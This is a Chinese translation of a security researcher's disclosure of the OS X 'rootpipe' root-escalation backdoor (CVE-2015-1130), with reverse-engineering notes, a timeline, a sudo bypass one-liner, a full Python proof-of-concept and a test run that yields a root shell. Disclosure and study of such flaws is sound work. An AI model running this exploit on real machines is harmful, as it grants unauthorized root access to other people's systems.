Apple OS X系统中存在可以提升root权限的API后门

from:https://truesecdev.wordpress.com/2015/04/09/hidden-backdoor-api-to-root-privileges-in-apple-os-x/

0x00 摘要


Apple OS X系统中的Admin框架存在可以提升root权限的API后门,并且已经存在多年(至少是从2011年开始)。我是在2014年的10月发现他可以被用来已任何用户权限提升为root权限,其本意可能是要服务“System Preferences”和systemsetup(命令行工具),但是所有的用户进程可以使用相同的功能。

苹果刚刚发布了OS X 10.10.3解决了此问题,但是OS X 10.9.x以及之前的版本存在此问题,因为苹果决定不对这些版本进行修复了。我们建议所有的用户都升级到10.10.3。

0x01 demo


我使用的第一个exp是基于CVE-2013-1775的,一个sudo认证绕过bug,这个bug已经在10.8.5(2013年9月)修复了。

exp代码非常的简单:

[cce]#!bash
$ sudo -k;systemsetup -setusingnetworktime Off -settimezone GMT -setdate 01:01:1970 -settime 00:00;sudo su
[/cce]

我跟我同事Philip Åkesson聊这个exp代码实际上使用了systemsetup来修改系统时间。我们一起来看了下他修复的细节,原来除了修复了sudo,Apple也同时做了另外一件事情,他们把systemsetup设置为需要root权限,当以非root权限执行systemsetup的时候,下面的信息就会显示(在10.8.5以及之后版本):

[cce]#!bash
$ systemsetup
You need administrator access to run this tool… exiting!
[/cce]

这个消息其实是有点误导的,以为我们实际上是在以管理员权限运行,安装OS X时候创建的用户默认就是admin权限。

总之,上面的消息表明执行该命令需要root权限,通过Hopper反汇编发现了下面的代码

enter image description here

OK,所以systemsetup二进制文件只是简单的检查了是否是root权限。

修改了一下函数(用setne替代sete):取得了成功

[cce]#!bash
$ systemsetup
> systemsetup
> type -help for help.
[/cce]

到目前为止,我们只是回到之前的systemsetup(10.8.5之前),你可以用systemsetup执行命令的一个例子:

[cce]#!bash
$ systemsetup –setremotelogin on
[/cce]

这将在22端口上开启ssh服务,当然你也可以通过launchtl开启,但是launchtl需要root权限。所以这在权限上还是有很明显的区别的。

类名为RemoteServerSettings表明,有某种进程间通信可以解释为什么需要root操作执行。不过还是要提一下,通过System Preferences开启SSH服务也不需要root权限。

我发现这种权限的差异非常有趣,继续反编译systemsetup。

通过一个名字叫做[ServerSettings setRemoteLogin:]的方法实现了systemsetup中的setremotelogin命令。

函数做了一些输入检查,然后调用[InternetServices setSSHServerEnabled:],这是在Admin框架中实现。反编译Admin框架可以看到setSSHServerEnabled并不是InternetServices接口的唯一方法,清单如下:

[cce]+[InternetServices sharedInternetServices]
+[InternetServices sharedInternetServices].sSharedInternetServices
-[InternetServices _netFSServerFrameworkBundle]
-[InternetServices _netFSServerFrameworkBundle].sNetFSServerkBundle
-[InternetServices _netFSServerFrameworkBundle].sNetFSServerkBundleOnce
-[InternetServices faxReceiveEnabled]
-[InternetServices ftpServerEnabled]
-[InternetServices httpdEnabled]
-[InternetServices isFTPServerAvailable]
-[InternetServices isFaxReceiveAvailable]
-[InternetServices isGuestForProtocolEnabled:]
-[InternetServices isHttpdAvailable]
-[InternetServices isNSCProtocolAvailable:]
-[InternetServices isNSCProtocolEnabled:]
-[InternetServices isNSServerShuttingDown:]
-[InternetServices isOpticalDiscSharingEnabled]
-[InternetServices isRemoteAEServerAvailable]
-[InternetServices isSSHServerAvailable]
-[InternetServices nscServerCancelShutdown:refNum:]
-[InternetServices nscServerShutdown:withDelay:]
-[InternetServices numberOfClientsForProtocols:]
-[InternetServices remoteAEServerEnabled]
-[InternetServices saveNatPrefs:]
-[InternetServices screensharingEnabled]
-[InternetServices sendSIGHUPToEfax]
-[InternetServices setFTPServerEnabled:]
-[InternetServices setFaxReceiveEnabled:]
-[InternetServices setGuestForProtocol:enabled:]
-[InternetServices setHttpdEnabled:]
-[InternetServices setInetDServiceEnabled:enabled:]
-[InternetServices setNSCProtocols:enabled:]
-[InternetServices setOpticalDiscSharingEnabled:]
-[InternetServices setRemoteAEServerEnabled:]
-[InternetServices setSSHServerEnabled:]
-[InternetServices setScreensharingEnabled:]
-[InternetServices sshServerEnabled]
_OBJC_CLASS_$_InternetServices
_OBJC_METACLASS_$_InternetServices
___47-[InternetServices _netFSServerFrameworkBundle]_block_invoke
[/cce]

一些例如setHttpdEnabled和setSSHServerEnabled共享一个辅助方法[ADMInternetServices setInetDServiceEnabled:enabled:]。

继续看Admin框架代码,发现:

enter image description here

代码看来是为guest账户创建一个用户特定的Apache配置文件,注意root用户是这个文件的拥有者:

[cce]#!bash
$ ls -l /etc/apache2/users/
total 8
-rw-r–r– 1 root wheel 139 Apr 1 05:49 std.conf
[/cce]

0x02 发现后门


上面截图的代码中最后一个被调用的Objective-C方法是createFileWithContents:path:attributes:

他获取一个组数组包括字节数,文件路径,文件属性。

自己代码中使用这个函数是这个样子的:

[cce]#!bash
[tool createFileWithContents:data
path:[NSString stringWithUTF8String:target]
attributes:@{ NSFilePosixPermissions : @0777 }];
[/cce]

问题在于我们如何控制“tool”,再看一看开始的代码截图:

[cce]#!bash
id sharedClient =
[objc_lookUpClass(“WriteConfigClient”) sharedClient];
id tool = [sharedClient remoteProxy];
[/cce]

当我尝试我自己的代码的时候,爆出error错误:

[cce]### Attempt to send message without connection!
[/cce]

下面找出如何出现这个错误的:

enter image description here

这是检查XPC代理在我的进程中是否启动,看一下_onewayMessageDispatcher来定位初始代码:

enter image description here

实际初始化的地方就是authenticateUsingAuthorization方法。

enter image description here

这正是我想要的,给writeconfig XPC服务创建一个XPC客户端,并且这个服务是以root权限运行的。

enter image description here

唯一的问题就是我应该给authenticateUsingAuthorization传递什么参数,从systemsetup文件当中找到如下:

enter image description here

看起来[SFAuthorization authorization]可以来做触发,下面是我的新的exp:

[cce]id auth = [objc_lookUpClass(“SFAuthorization”) authorization];
id sharedClient =
[objc_lookUpClass(“WriteConfigClient”) sharedClient];
[sharedClient authenticateUsingAuthorizationSync: auth];
id tool = [sharedClient remoteProxy];

[tool createFileWithContents:data
path:[NSString stringWithUTF8String:target]
attributes:@{ NSFilePosixPermissions : @04777 }];
[/cce]

文件最终创建,setuid已经设置:

[cce]#!bash
-rwsrwxrwx 1 root wheel 25960 Apr 1 19:29 rootpipe.tmp
[/cce]

既然setuid已经设置并且拥有者是root,我们就有有了一个提权漏洞。

上面的代码适用于10.9及以后版本,10.7.x和10.8.x有些类文件名略不相同。

但是上面的代码仍然有一个问题,只可以在admin的权限下运行,之前提到过几乎所有的OS X用户都是admin。

最终找到一个适用所有用户使用的方法,很简单,只要把[SFAuthorization authorization]:的结果替换为发送nil到authenticateUsingAuthorizationSync。

[cce][sharedClient authenticateUsingAuthorizationSync: nil];
[/cce]

0x03 Timeline


[cce]Oct 2nd 2014: First discovery
Oct 3rd 2014: First contact with Apple Product Security Team
Oct 14th 2014: Exploit code shared with Apple
Oct 24th 2014: Initial full disclosure date set to Jan 12th 2015
Oct 16th 2014: Release of OS X 10.10 Yosemite, vulnerable to rootpipe
Nov 14th 2014: Apple requested to postpone disclosure
Nov 17th 2014: Release of OS X 10.10.1, also vulnerable
Jan 12th 2015: Joint decision between Apple and TrueSec to postpone disclosure due to the amount of changes required in OS X
Jan 16th 2015: CVE-2015-1130 created by Apple
Jan 27th 2015: Release of OS X 10.10.2, also vulnerable
March 2nd 2015: Release of OS X 10.10.3 public beta, issue solved
April 1st 2015: Apple confirmed that release is coming the second week of April
April 8th 2015: Release of OS X 10.10.3
April 9th 2015: Full disclosure
[/cce]

0x04 EXP


[cce]#!python
########################################################
#
# PoC exploit code for rootpipe (CVE-2015-1130)
#
# Created by Emil Kvarnhammar, TrueSec
#
# Tested on OS X 10.7.5, 10.8.2, 10.9.5 and 10.10.2
#
########################################################
import os
import sys
import platform
import re
import ctypes
import objc
import sys
from Cocoa import NSData, NSMutableDictionary, NSFilePosixPermissions
from Foundation import NSAutoreleasePool

def load_lib(append_path):
return ctypes.cdll.LoadLibrary(“/System/Library/PrivateFrameworks/” + append_path);

def use_old_api():
return re.match(“^(10.7|10.8)(.\d)?$”, platform.mac_ver()[0])

args = sys.argv

if len(args) != 3:
print “usage: exploit.py source_binary dest_binary_as_root”
sys.exit(-1)

source_binary = args[1]
dest_binary = os.path.realpath(args[2])

if not os.path.exists(source_binary):
raise Exception(“file does not exist!”)

pool = NSAutoreleasePool.alloc().init()

attr = NSMutableDictionary.alloc().init()
attr.setValue_forKey_(04777, NSFilePosixPermissions)
data = NSData.alloc().initWithContentsOfFile_(source_binary)

print “will write file”, dest_binary

if use_old_api():
adm_lib = load_lib(“/Admin.framework/Admin”)
Authenticator = objc.lookUpClass(“Authenticator”)
ToolLiaison = objc.lookUpClass(“ToolLiaison”)
SFAuthorization = objc.lookUpClass(“SFAuthorization”)

authent = Authenticator.sharedAuthenticator()
authref = SFAuthorization.authorization()

# authref with value nil is not accepted on OS X <= 10.8 authent.authenticateUsingAuthorizationSync_(authref) st = ToolLiaison.sharedToolLiaison() tool = st.tool() tool.createFileWithContents_path_attributes_(data, dest_binary, attr) else: adm_lib = load_lib("/SystemAdministration.framework/SystemAdministration") WriteConfigClient = objc.lookUpClass("WriteConfigClient") client = WriteConfigClient.sharedClient() client.authenticateUsingAuthorizationSync_(None) tool = client.remoteProxy() tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0) print "Done!" del pool [/cce]

0x05 译者测试


[cce]#!bash
[[email protected]:~]$ cp /bin/bash bashceshi
[[email protected]:~]$ python CVE-2013-1775.py bashceshi bashroot
will write file /Users/test/Downloads/bashroot
Done!
[[email protected]:~]$ ./bashroot -p
bashroot-3.2# id
uid=501(test) gid=20(staff) euid=0(root) groups=20(staff),501(access_bpf),402(com.apple.sharepoint.group.1),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),33(_appstore),100(_lpoperator),204(_developer),398(com.apple.access_screensharing),399(com.apple.access_ssh)
[/cce]

Comment

评论:个人用户,Guest一关,感觉就没啥影响了。

评论:强

评论:外国大牛牛!拿到一台mac,开机,有密码,以guest登录,guest提权,修改管理员密码,登录管理员,拿走照片~

评论:nsa说真不是我干的

评论:duang…….屌炸

评论:赶紧升级系统压压惊

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